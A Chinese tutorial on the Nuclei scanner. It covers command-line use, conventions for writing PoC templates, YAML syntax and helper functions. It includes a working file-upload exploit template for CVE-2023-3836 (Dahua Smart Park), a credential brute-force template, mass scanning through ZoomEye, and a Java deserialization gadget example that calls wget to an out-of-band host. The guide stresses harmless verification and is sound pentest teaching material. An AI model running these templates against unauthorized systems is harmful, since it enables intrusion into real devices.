Nuclei官方

官方文档

https://docs.nuclei.sh/getting-started/overview

官方仓库

https://github.com/projectdiscovery/nuclei

官方 Poc 仓库

https://github.com/projectdiscovery/nuclei-templates

快速使用

验证模板格式

```
nuclei -t test.yaml --validate
```

指定模板和目标

```
nuclei -t test.yaml -u http://exam.com
```

批量扫描

```
nuclei -t test.yaml -l target.txt
```

指定代理

```
nuclei -t test.yaml -u http://exam.com -p socks5://127.0.0.1:7890
```

查看扫描进度

```
nuclei -t test.yaml -l target.txt -stats
```

Debug，查看发送数据包和返回包

```
nuclei -t test.yaml -u http://exam.com -debug
```

使用 zoomeye 等网络空间测绘扫描

```
nuclei -t cve-2019-3911.yaml -uc -ue zoomeye -uq 'Server: Labkey' -p socks5://127.0.0.1:7890
```

使用 id 参数进行模板筛选

```
nuclei -t nuclei-templates -id '*scripting*' -u http://exam.com -p socks5://127.0.0.1:7890
```

Nuclei PoC 编写

编写规范

命名规范

漏洞命名尽量清晰准确，能对应到具体的漏洞。一般使用**组件名+版本+漏洞名称+漏洞编号**的方式进行命名，如 `WordPress Tutor LMS < 2.0.10 跨站脚本 (CVE-2023-0236)` ，必要时也可以添加漏洞的触发地址，如 `WordPress Tutor LMS < 2.0.10 reset_key 跨站脚本 (CVE-2023-0236)` 。

无害化验证

验证上传、RCE等漏洞时，使用无害化验证的方式，只上传验证文件或打印输出验证命令执行，不能对扫描目标造成破坏。

例如在上传 PHP 文件的时候，就可以使用 `unlink(__FILE__);` 在验证后删除文件。

```php
<?php
echo md5('CVE-2019-20183');unlink(__FILE__);
?>
```

严谨性验证

1.打印验证

在验证文件上传和 RCE 等漏洞的时候经常会用到打印验证，使用打印输出验证的时候，尽量使用随机数再 MD5 进行验证，这样可以验证是否进行了函数调用，也可以减少误报概率。

尽量不使用 phpinfo 等页面进行验证，因为部分页面可能本身就是 phpinfo 或者包含关键字直接跳转。

2.跨站脚本

由于 YAML 的特性，在验证 XSS 的时候为了避免过多的误报，除了 XSS 的特征以外，需要设置更多的关键字。

3.SQL注入

尽量避免使用延时注入，耗时且非常容易因为网络原因造成误报。

4.多条件验证

漏洞的验证需要使用多个条件进行验证，例如关键字、状态码、正则、随机数等。

5.假设性验证

在设置匹配条件的时候需要思考，如果网站会把接收到的 payload 直接返回，是否会误报。

精简结构

请求头中，Nuclei 的源码中会自动配置一些内容，例如 UA，因此这些信息在编写 PoC 的时候可以省略，如果无法直接确认的信息如 referer 可以先加上，漏洞验证成功后再删除，看看还能不能验证成功，如果无影响的头信息，最好直接删除。

跨平台

部分 PoC 需要考虑跨平台，例如目录遍历中 Linux 系统是 `etc/passwd` ，Windows 系统中则是 `c:/windows/win.ini` 。

Nuclei YAML 语法

Nuclei PoC 结构

Nuclei PoC 的结构主要由以下组成。

```
漏洞描述（必须）主要包括漏洞名称、漏洞描述、漏洞编号、搜索语法等组成，便于直观了解漏洞基本信息。

变量定义（非必须|常用）定义变量

数据包（必须）携带 payload 的数据包

攻击设置（非必须|不常用）模仿burp的intruder模块

请求设置（非必须|常用）例如开启重定向或 cookie 维持等，仅在当前 PoC 生效

匹配器（必须）设置命中漏洞的匹配规则

提取器（非必须|常用）提取返回包中数据的工具
```

漏洞描述

变量定义

在验证漏洞的时候经常会使用随机数+MD5的方式进行验证，或者使用两个数运算的方式进行验证...这类场景就需要定义随机数变量。如果想在后文进行验证，一般也会使用变量的方式存储运算结果，最后在匹配器中再和变量值进行比对。

变量使用 `variables` 进行定义。这里使用 `rand_base(6)` 定义一个6位随机字符记作 `random_str` ，并使用 `md5()` 函数进行运算，将运算结果存储在 `match_str` 中，也可以使用 `base64()` 函数计算。这些函数都属于内置函数，在后面会列出。

```
variables:
  random_str: "{{rand_base(6)}}"
  match_str: "{{md5(random_str)}}"
  rand_base64: "{{base64('123456')}}"
```

其中有两个特殊变量不需要定义可以直接使用

变量名	描述	例子	输出数据
randstr	随机生成字符串	{{randstr}}	2ACQXhznjUrEhXdK5PqXOmNLjXh
interactsh-url	平台设置的 dnslog 服务器地址	{{interactsh-url}}	caetcc6am59kvd6qs9p0x3k5irbxzsyby.oast.fun

字符串中变量及辅助函数调用均使用 {{}} 做包含，DSL 表达式直接引用。
变量调用： '{{变量名}}'

辅助函数调用： '{{函数名(参数1,"参数2")}}'

数据包

Nuclei 中发送数据包主要有两种语法结构。

注： http: 不支持低版本，在低版本可以将 http: 替换为 requests:

raw 请求

原始 HTTP 请求包，与 burp 等抓包工具展示的形式类似，可以按顺序发送多个请求包。

```
#HTTP发包及返回处理，以每个请求集为独立单元，请求集包含请求模块、设置模块、提取模块
http:
  #原始HTTP请求集(!注：更加灵活，便于维护和阅读，推荐使用)，可建立多个请求，请求顺序由上而下
  - raw:
      - |
        GET /index.php HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('username:password')}}

      - |
        GET /getToken.php HTTP/1.1
        Host: {{Hostname}}
```

普通请求集

```
http:
  # 基本HTTP请求集,可建立多个请求，请求顺序由上而下，设置模块、提取模块与raw设置一致，此处不做多余展示
  - method: POST #请求方法  <GET|POST|PUT|DELETE等>
    path: #请求路径(!!!注：必须使用完整请求路径,可使用{{BaseURL}}做路径拼接)，可添加多个进行多个请求，请求顺序自上往下
<StringSlice>
      - "{{BaseURL}}/login.php"
      - "{{BaseURL}}/admin.php"
    headers: #header头信息  <key:value>
      User-Agent: Some-Random-User-Agent
      Host: "{{Hostname}}" #基本path信息替换
      Cookie: "PHPSESSID={{varString}}" #使用自定义变量variables.varString
    body: #请求的body信息  <String>
      'user=admin&pass={{md5("123456")}}'
```

变量名	描述	例子	输出数据
BaseURL	这将在请求的运行时替换为目标文件中指定的输入 URL	{{BaseURL}}	https://example.com:443/stats/index.php
RootURL	这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL	{{RootURL}}	https://example.com:443

攻击设置

设置 payloads 进行爆破，可以单独设置也可以导入字典文件，攻击方式与 burp 一致。

```
http:
  - raw:
```

```
    - |
      GET /login.php HTTP/1.1
      Host: {{Hostname}}

    - |
      POST /login.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      Host: {{Hostname}}

      username={{usernames}}&password={{passwords}}&Login=Login

  #设置用户及密码字典
  payloads:
    usernames:
      - "user"
      - "admin"
      - "test"
    passwords:
      - "./password.txt" #当仅有一个值时，将判断设置值是否为存在文件，为文件时将导入字典
  attack: clusterbomb #攻击模式设置，与burp一致  <batteringram|pitchfork|clusterbomb>
  threads: 100 #攻击使用线程(注：设置于发包数相同时，单次发包为同时请求，通常用于请求需同步进行场景)
```

请求设置

一般写在匹配器上方，用于配置精细化的请求。

```
stop-at-first-match: true #设置匹配器匹配成功后，停止后续发包  <true|false>
req-condition: true #设置仅所有匹配数据全部满足后再进行匹配逻辑(!!!注：存在多包数据匹配时，均需携带此参数)  <true|false>
cookie-reuse: true #开启cookie维持
```

匹配器

匹配器用于匹配漏洞特征，验证漏洞是否存在，匹配器的编写方式决定如何判断漏洞的存在。

其中 `word` 、 `status` 、 `dsl` 用的最频繁。

```
matchers-condition: and #对多个匹配器的匹配结果进行逻辑运算  <and|or>
matchers:
  - type: dsl #匹配器类型  <status|word|size|binary|regex|dsl>
    dsl: #使用 DSL 语法进行数据匹配(!注：更加灵活，复杂匹配，推荐使用)  <StringSlice>
      - "status_code_1 == 200 && status_code_2 == 302"
      - 'all_headers_1 == "admin" && all_headers_2 == "index"'
    condition: and

  - type: word
    words: #返回包匹配文本(!!!注：word类型此处较为特殊，需要使用words做匹配项录入)  <StringSlice>
      - "admin.php"
      - "61646d696e2e706870"
      - "{{match_str}}"
    encoding: hex #编码器，对返回提取数据进行编码后对word内容进行匹配(!!!注：仅支持word匹配器，暂仅只支持hex)  <hex>
    #以下设置，基本通用(!!!注：除dsl类型)
    part: header #读取返回数据的区域  <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注：dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用>
    condition: or #匹配结果逻辑运算  <and|or>
    negative: true #对匹配结果进行取反操作，结合condition可实现更为灵活的组合方式  <true|false>

  - type: status
    status: #与匹配器类型一致，当前为返回包状态码  <intSlice>
      - 200

  - type: regex
    regex: #使用正则进行数据匹配  <StringSlice>
```

```
      - '.*\admin.php.*'

  - type: binary
    binary: #使用二进制进行数据匹配  <StringSlice>
      - "61646d696e2e706870"

  - type: size
    size: #返回包数据大小(注：通指body数据)  <intSlice>
      - 1234
```

dsl 一般用于复杂的逻辑判断，其中包含以下内置函数。

变量名	描述	例子	输出数据
content_length	内容长度标头	content_length	12345
status_code	响应状态代码	status_code	200
all_headers	返回 header 信息		
body	返回 body 信息	body_1	
header_name	返回 header 的 key value 信息,全小写,且-替换为_	user_agent	xxxx
header_name	返回 header 的 key value 信息,全小写,且-替换为_	set_cookie	xxx=xxxx
raw	原始的返回信息(标头+响应)	raw	
duration	请求响应时间	duration	5

提取器

有时候需要提取返回包的某个值，并放入下一个请求包中，或者想把某些内容输出，例如爆破成功的账号密码信息，就需要使用提取器。

`internal: true` 参数比较常用，用于将提取内容当做变量使用。

```
#提取器，对返回数据进行提取，用于再利用及发送至控制台进行显示或使用，语法与匹配器相似
extractors:
  - type: regex #提取器类型  <regex|json|kval|xpath|dsl>
    regex: #使用regex语法进行数据提取(!注：推荐使用)  <StringSlice>
      - "token:(.*) "
    group: 1 #特定regex使用，0是完全匹配，1-N为获取分组数据(!!!注：注意长度须符合正则分组长度)  <Int>
    #以下设置，基本通用
    part: body #设置提取数据的区域  <header|body|无设置代表全匹配|interactsh_protocol|interactsh_request(!注：dnslog服务器返回数据,需要在发包中配合{{interactsh-url}}使用>
    name: token #设置当前提取数据存储变量名  <String>
    internal: true #设置将提取器用作动态变量，防止发送控制台后变量清空  <true|false>

  - type: json
    json: #基于 JSON 的响应中提取数据  <StringSlice>
      - ".token"

  - type: kval
    kval: #从响应标头/Cookie 中提取key: value/key=value格式化数据(!!!注：kval提取器不接受破折号-作为输入，必须替换为下划线_)<StringSlice>
      - "set_cookie"
      - "PHPSESSID"

  - type: xpath
    xpath: #从 HTML 响应中提取基于 xpath 的数据  <StringSlice>
      - "/html/body/div/p[2]/a"
    attribute: href #特定xpath使用，要提取的属性值，可选

  - type: dsl
    dsl: #使用 DSL 表达式从响应中提取数据
      - "len(body)"
```

完整 Demo

https://github.com/projectdiscovery/nuclei-templates/blob/62073273dfce06bbe55460503cf455367b5cdc62/http/cves/2023/CVE-2023-3836.yaml

首先通过 `/emap/devicePoint_addImgIco?hasSubsystem=true` 上传文件并写入 MD5 字符串，上传地址需要通过提取器提取，并拼接到第二个数据包地址中，通过访问上传的文件并验证写入的字符串验证漏洞是否存在。

```yaml
id: CVE-2023-3836

info:
  name: Dahua Smart Park Management - Arbitrary File Upload
  author: HuTa0
  severity: critical
  description: |
    Dahua wisdom park integrated management platform is a comprehensive management platform, a park operations,resource allocation, and intelligence services,and other functions, including/emap/devicePoint_addImgIco?.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the arbitrary file upload vulnerability.
  reference:
    - https://github.com/qiuhuihk/cve/blob/main/upload.md
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3836
    - https://vuldb.com/?ctiid.235162
    - https://vuldb.com/?id.235162
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3836
    cwe-id: CWE-434
    epss-score: 0.04304
    epss-percentile: 0.91215
    cpe: cpe:2.3:a:dahuasecurity:smart_parking_management:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: dahuasecurity
    product: smart_parking_management
    shodan-query: html:"/WPMS/asset"
    zoomeye-query: /WPMS/asset
  tags: cve,cve2023,dahua,fileupload,intrusive,rce
variables:
  random_str: "{{rand_base(6)}}"
  match_str: "{{md5(random_str)}}"

http:
  - raw:
      - |
        POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
        Content-Type: multipart/form-data; boundary=A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Host: {{Hostname}}

        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT
        Content-Disposition: form-data; name="upload"; filename="{{random_str}}.jsp"
        Content-Type: application/octet-stream
        Content-Transfer-Encoding: binary

        {{match_str}}
        --A9-oH6XdEkeyrNu4cNSk-ppZB059oDDT--
      - |
        GET /upload/emap/society_new/{{shell_filename}} HTTP/1.1
        Host: {{Hostname}}
```

```yaml
matchers:
  - type: dsl
    dsl:
      - "status_code_1 == 200 && status_code_2 == 200"
      - "contains(body_2, '{{match_str}}')"
    condition: and

extractors:
  - type: regex
    name: shell_filename
    internal: true
    part: body_1
    regex:
      - 'ico_res_(\w+)_on\.jsp'
```

Nuclei 内置函数

以下是可在 RAW 请求/网络请求/ DSL 表达式中使用的所有支持的辅助函数的列表

辅助函数	描述	例子	输出数据
base64(src interface{}) string	Base64 对字符串进行编码	`base64("Hello")`	SGVsbG8=
base64_decode(src interface{}) []byte	Base64 对字符串进行解码	`base64_decode("SGVsbG8=")`	[72 101 108 108 111]
base64_py(src interface{}) string	像 python 一样将字符串编码为 base64（带有新行）	`base64_py("Hello")`	SGVsbG8=\n
concat(arguments ...interface{}) string	连接给定数量的参数以形成一个字符串	`concat("Hello", 123, "world")`	Hello123world
compare_versions(versionToCheck string, constraints ...string) bool	将第一个版本参数与提供的约束进行比较	`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`	true
contains(input, substring interface{}) bool	验证字符串是否包含子字符串	`contains("Hello", "lo")`	true
generate_java_gadget(gadget, cmd, encoding interface{}) string	生成 Java 反序列化小工具	`generate_java_gadget("commons-collections3.1","wget http://{{interactsh-url}}", "base64")`	
gzip(input string) string	使用 GZip 压缩输入	`gzip("Hello")`	
gzip_decode(input string) string	使用 GZip 解压缩输入	`gzip_decode(hex_decode("1f8b0800000000000fff248cdc9c907040000ffff8289d1f705000000"))`	Hello
zlib(input string) string	使用 Zlib 压缩输入	`zlib("Hello")`	
zlib_decode(input string) string	使用 Zlib 解压缩输入	`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`	Hello
date(input string) string	返回格式化的日期字符串	`date("%Y-%M-%D")`	2022-05-01
time(input string) string	返回格式化的时间字符串	`time("%H-%M")`	22-12
timetostring(input int) string	返回格式化的 unix 时间字符串	`timetostring(1647861438)`	2022-03-21 16:47:18 +0530 IST
hex_decode(input interface{}) []byte	十六进制解码给定的输入	`hex_decode("6161")`	aa
hex_encode(input interface{}) string	十六进制编码给定的输入	`hex_encode("aa")`	6161
html_escape(input interface{}) string	HTML 转义给定的输入	`html_escape("test")`	test
html_unescape(input interface{}) string	HTML 取消转义给定的输入	`html_unescape("<body>test</body>")`	test
len(arg interface{}) int	返回输入的长度	`len("Hello")`	5
md5(input interface{}) string	计算输入的 MD5（消息摘要）哈希	`md5("Hello")`	8b1a9953c4611296a827abf8c47804d7
mmh3(input interface{}) string	计算输入的 MMH3 (MurmurHash3) 哈希	`mmh3("Hello")`	316307400
print_debug(args ...interface{})	打印给定输入或表达式的值。用于调试。	`print_debug(1+2, "Hello")`	[INF] print_debug value: [3 Hello]
rand_base(length uint, optionalCharSet string) string	从可选字符集生成给定长度字符串的随机序列（默认为字母和数字）	`rand_base(5, "abc")`	caccb
rand_char(optionalCharSet string) string	从可选字符集中生成随机字符（默认为字母和数字）	`rand_char("abc")`	a
rand_int(optionalMin, optionalMax uint) int	在给定的可选限制之间生成一个随机整数（默认为 0 - MaxInt32）	`rand_int(1, 10)`	6
rand_text_alpha(length uint, optionalBadChars string) string	生成给定长度的随机字母字符串，不包括可选的剔集字符	`rand_text_alpha(10, "abc")`	WKozhjJWlJ
rand_text_alphanumeric(length uint, optionalBadChars string) string	生成一个给定长度的随机字母数字字符串，没有可选的剔集字符	`rand_text_alphanumeric(10, "ab12")`	NthI0IiY8r

rand_text_numeric(length uint, optionalBadNumbers string) string	生成给定长度的随机数字字符串，没有可选的不需要的数字集	rand_text_numeric(10, 123)	0654087985
regex(pattern, input string) bool	针对输入字符串测试给定的正则表达式	regex("H([a-z]+)o", "Hello")	true
remove_bad_chars(input, cutset interface{}) string	从输入中删除所需的字符	remove_bad_chars("abcd", "bc")	ad
repeat(str string, count uint) string	重复输入字符串给定的次数	repeat("../", 5)	../../../../../
replace(str, old, new string) string	替换给定输入中的给定子字符串	replace("Hello", "He", "Ha")	Hallo
replace_regex(source, regex, replacement string) string	替换与输入中给定正则表达式匹配的子字符串	replace_regex("He123llo", "(\\d+)", "")	Hello
reverse(input string) string	反转给定的输入	reverse("abc")	cba
sha1(input interface{}) string	计算输入的 SHA1（安全哈希 1）哈希	sha1("Hello")	f7ff9e8
sha256(input interface{}) string	计算输入的 SHA256（安全哈希 256）哈希	sha256("Hello")	185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826
to_lower(input string) string	将输入转换为小写字符	to_lower("HELLO")	hello
to_upper(input string) string	将输入转换为大写字符	to_upper("hello")	HELLO
trim(input, cutset string) string	返回一个输入切片，其中包含在 cutset 中的所有前导和尾随 Unicode 代码点都已删除	trim("aaaHelloddd", "ad")	Hello
trim_left(input, cutset string) string	返回一个输入切片，其中包含在 cutset 中的所有前导 Unicode 代码点都已删除	trim_left("aaaHelloddd", "ad")	Helloddd
trim_prefix(input, prefix string) string	返回没有提供的前导前缀字符串的输入	trim_prefix("aaHelloaa", "aa")	Helloaa
trim_right(input, cutset string) string	返回一个字符串，其中包含在 cutset 中的所有尾随 Unicode 代码点都已删除	trim_right("aaaHelloddd", "ad")	aaaHello
trim_space(input string) string	返回一个字符串，删除所有前导和尾随空格，由 Unicode 定义	trim_space(" Hello ")	"Hello"
trim_suffix(input, suffix string) string	返回没有提供的尾随后缀字符串的输入	trim_suffix("aaHelloaa", "aa")	aaHello
unix_time(optionalSeconds uint) float64	返回当前 Unix 时间（自 1970 年 1 月 1 日 UTC 以来经过的秒数）以及添加的可选秒数	unix_time(10)	1639568278
url_decode(input string) string	URL 解码输入字符串	url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")	
url_encode(input string) string	URL 对输入字符串进行编码	url_encode("https://test.com?id=1")	
wait_for(seconds uint)	暂停执行给定的秒数	wait_for(10)	true
to_number(input string) float64	将数字型字符串转换为 float64 类型	to_number("123456")	123456
to_string(input interface{}) string	将数据转换为字符串类型	to_string(123456)	"123456"
rand_ip(input string)	根据输入网段随机返回一个 ip 地址	rand_ip("192.168.1.1/24")	